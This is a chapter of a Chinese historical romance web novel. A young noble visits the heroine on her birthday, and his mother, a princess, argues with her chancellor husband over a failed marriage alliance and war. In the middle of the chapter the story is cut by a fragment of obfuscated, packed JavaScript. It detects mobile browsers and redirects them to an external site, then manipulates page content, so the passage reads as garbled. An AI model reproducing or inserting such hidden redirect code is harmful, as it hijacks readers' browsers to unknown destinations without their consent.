分明是谢逢华的生辰宴,谢怀世不知想到什么伤心事,将自己灌得酩酊大醉,抱着明玥不放手,最后被明玹一脸嫌弃地打晕拖走了。
明玥实在放心不下,也跟着一起去了。
下人们前来收拾杯盘狼藉的餐桌,谢逢华吃饱喝足,闲来无事,干脆在院中闲逛以消食。
“谢娘子,谢娘子。”
几声细若蚊咛的声音自角落飘来,若有似无,推门的手骤然凝在门栓上。
这声音熟悉得很,大抵不是鬼魅。
谢逢华自我安慰几句,鼓起勇气朝声源处张望。
还是那个高高的围墙,还是熟悉的地方,还是那张熟悉的脸。
谢逢华无语地看着趴在墙头上的周其卿。
“看来我来得不合时宜。”周其卿脸颊泛着薄红,不知是累得还是其他,竟有些气喘。
活像财主家的傻儿子。
周其卿跃下墙头,拍拍手上尘土,道:“还有饭吗?我来得急,尚未用食。”
谢逢华引他入室,随后去了小厨房,下了一碗清汤面。
谢逢华不常下厨,但手艺尚可,果腹足矣。
周其卿风卷残云吃了一大碗,甚至还想再来一碗。
“我只做了这一碗。”谢逢华按下他的手,“若还是饿,我唤人给你拿些糕点来。”
“不必不必,一碗足矣。”看着搭在手腕上的纤纤玉指,周其卿压了压嘴角,坐回座位上。
谢逢华撑腮看着他:“今夜来做什么?”
“自然是为你过生辰了。”
视线划过她的手腕,周其卿道,“瞧这镯子样式……是容祭酒送你的?”
“是呀,嫂嫂还说让我不要轻易摘下,怎么,你也知晓这镯子来历?”
周其卿却摇头:“我母亲也有一副类似的镯子,后来崔夫人进门,又逢崔夫人生辰,母亲便将镯子送给她做礼了。”
这句话倏然点醒了谢逢华。
想到那日周宰相对三人的称呼,谢逢华看向百无聊赖的周其卿,慢慢挺起来腰板,道:“嫂嫂说这镯子乃是容氏证身之物,长公主就这么把镯子送给外人,是不是……”
后面的话谢逢华想了又想,实在想不到合适的词眼形容心中的疑虑。
周其卿倒是听懂了她的话,笑道:“镯子没了,还有腰牌和长公主印。难不成没了镯子,舅舅就不认娘了?”
谢逢华点头,似觉得他说得有道理,转念一想,又问道:“长公主和二夫人关系很好吗?”
“女子之间的事我不懂,我与二夫人也不常见面。不过听说二夫人常去探望母亲,母亲也常在父亲面前夸赞二夫人,想来关系是要好的。”
谢逢华若有所思,转而撞上周其卿投来的视线,心下一惊。
不似表面般大大咧咧,整日笑哈哈的纨绔模样,周其卿的眼神却没什么温度。
如同冬日夜半的残月,凄凄惨惨地挂在墨色夜空中。
“怎么不问了?”周其卿道,“是我哪句话说错了吗?”
谢逢华摇头,想去倒杯水,起身才发觉衣袖被人拽住。
“别急着走啊谢娘子。”周其卿单手支额,好整以暇地打量着她,“我还有些话想当面问问谢娘子。”
谢逢华料到他这张嘴里必然套不出什么好话,挣扎着想走,“我口渴。”
“水壶就在桌上,你去哪里喝水?”
谢逢华:“那我就是乏了,我要睡觉。”
周其卿松了手:“那你睡罢,明晚我再来找你。”
谢逢华硬生生刹住了步子,转头愤愤瞪他:“你就没有别的事情可做了吗?”
周其卿把玩着筷子,笑意不抵眼底。
谢逢华三两步上前,一把夺过筷子,收拾了碗,一同放到厨房洗了。
再出来,屋内已不见了周其卿的身影。
“周世子?”谢逢华试探着唤了声。
屋内静悄悄的,无人回应。
谢逢华追出门,院中唯剩清风与明月。
连句“生辰吉乐”也不说,越发没规矩了。
谢逢华按了按隐隐灼痛的心口,转身回了房内。
—
晚些时候,周其卿前来向母亲问安。
母子二人聊了会儿太学趣事,聊到谢家和明家,容妙凝绷直针线,眉眼弯弯:“明家主的事我听阿舟讲过了,谢学正有才识,虽家境不好,却也知分寸懂进退,衬得上明家主。”
谢怀世就是个胆小的伪君子。
周其卿心道,靠着妹妹升官发财,却因为一己私欲要将妹妹送回乡藏一辈子,这种事周其卿可做不出来。
“上次明家主带来的那位小娘子便是谢学正的妹妹罢?瞧着倒是温婉可人。”容妙凝道,“听老爷说,你们私下多有交情,不妨与娘说说,那小娘子为人如何?”
“她……”
门外忽然传来侍女行礼的声音。
看清来人,周其卿正色,起身朝周惕守施礼:“父亲。”
“嗯。”周惕守心不在焉,看见周其卿更是面无波澜,径直坐在容妙凝身边。
瞧他这脸色,想必又是朝中那些文臣惹他不快。
容妙凝朝周其卿使了个眼色,周其卿会意,起身告退。
待周其卿离开,周惕守呷了口温茶,茶盏重重往案上一砸,沉声道:“容妙凝,你能不能管好你那好妹妹?”
手一抖,针尖穿透布料,刺入指尖。
指尖瞬间涌上一颗豆大的血珠。
容妙凝毫无察觉般,扯了帕子按住针口,旋即将染血的绣绷放在一旁。
周惕守熟视无睹,仍自顾自地说道:“和亲一事若非是我从中周旋,她早就被文官们的唾沫星子淹死了!而她呢?好心当成驴肝肺,一而再再而三地上书弹劾,昨日骂本官草菅人命,今日又说什么我苛捐杂税,明日是不是该栽赃本官意图谋反了?她究竟想做什么?”
茶案被他拍得哐哐响,周惕守喋喋不休,俨然气到了极点。
容妙凝掀开帕子,见不流血了,便将锦帕叠好放在一旁。
“夫君。”容妙凝出言打断他,“当初和亲一事阿舟本就反对,是您坚持要将寿安公主送去和亲,半路出了岔子,寿安公主被逼自尽以保清白,阿舟恨您也是情理之中。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533621|186445||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“分明是大梁毁约在先!”周惕守道,“不和亲又能如何?大夏遭逢荒年,无钱无兵无粮,如何遭得住战事?”
“可这仗还是打了。”容妙凝平静地看着他,“大夏和梁国打了多少年,也不差这一仗了,不是吗?”
周惕守僵在原地,一时无言。
容妙凝端起绣绷缝了两针,不紧不慢地说:“当今圣上故步自封,不察民情,却妄想重振高祖踏马平高山的风采。您不一样,您身为一朝宰相,上通下达,大夏有没有兵,能不能打,那还不是夫君您一句话的事?”
轻飘飘的一句话,如同万斤重担死死压在周惕守的胸口,压得他喘不上气,四肢渐渐失了体温,硬如石块,久久不能动弹。
好半晌,周惕守才找回自己的声音:“夫人,夏梁交战多年,只差这最后一步就……只差这最后一口气,梁国便可彻底臣服于我大夏,圣上不愿放弃,我……我亦无周全之法……”
后面的话渐渐入不进耳中,容妙凝也无心再听。
指尖抚过绣绷上生动活泼的小,容妙凝道:“你们发动了战事,却不愿面对战后的千疮百孔,容舟和寿安抗下所有罪责,难道只为成就你们的一己私欲吗?”
周惕守蹙眉:“何为‘一己私欲’?梁国若破,大夏便可一统中原,这是利国利民,功在千秋的大计!”
“所以呢?”容妙凝抬眸,直勾勾盯着他,“梁国灭了吗?大夏统一了吗?利国利民您又占哪个?”
周惕守哑然。
战胜不假,可大夏也仅仅是将梁朝逼退到度春关外,连梁朝的大门都没见到就因粮食不足被迫鸣鼓收兵。
为此皇帝还发了好大一通脾气,好几天都没上朝。
斗来斗去,没人输,却也没有胜者。
周惕守默了许久,似是无话可说,只手撑着桌案慢慢站起,道了句“早些歇息”,便拖着沉重的身子离开了。
全乱了。
容妙凝用力闭了闭眼,寻出剪刀,将方才绣的丝线一点点拆下来。
甄姑姑进来,手中端着一碗热腾腾的汤药,低声道:“夫人,该用药了。”
容妙凝只好放下绣绷,接过药碗却不急于下口,用勺子慢慢搅弄着浊苦的药汁,视线停在绣绷糟乱的纹路上,“甄姑姑,今夜世子去了哪里?”
“奴已问过小铭子了,只说世子去了明府,见了谢娘子,约摸有一刻钟便出来了。”
容妙凝颔首:“老爷知晓吗?”
甄姑姑道:“世子身边鱼龙混杂,小铭子又是世子身边口风最严的,老爷知不知情,老奴实在不敢轻易定论。”
容妙凝放下药碗,似妥协,似无奈,紧拧的眉好半晌才松开。
“随他们去罢。”容妙凝叹道。
甄姑姑应声,又想到什么,回道:“殿下,二夫人午时来过一趟,说四小姐与世子起了争执,好几日都没说话,二夫人想来问问您的看法。”
“兄妹之间哪有不拌嘴掐架的,手心手背都是肉,她想让我向着哪边?”容妙凝无奈,“卿儿有分寸,知道该怎么做,让二夫人尽管宽心,半月后若还是这幅样子,再从中调和也不迟。”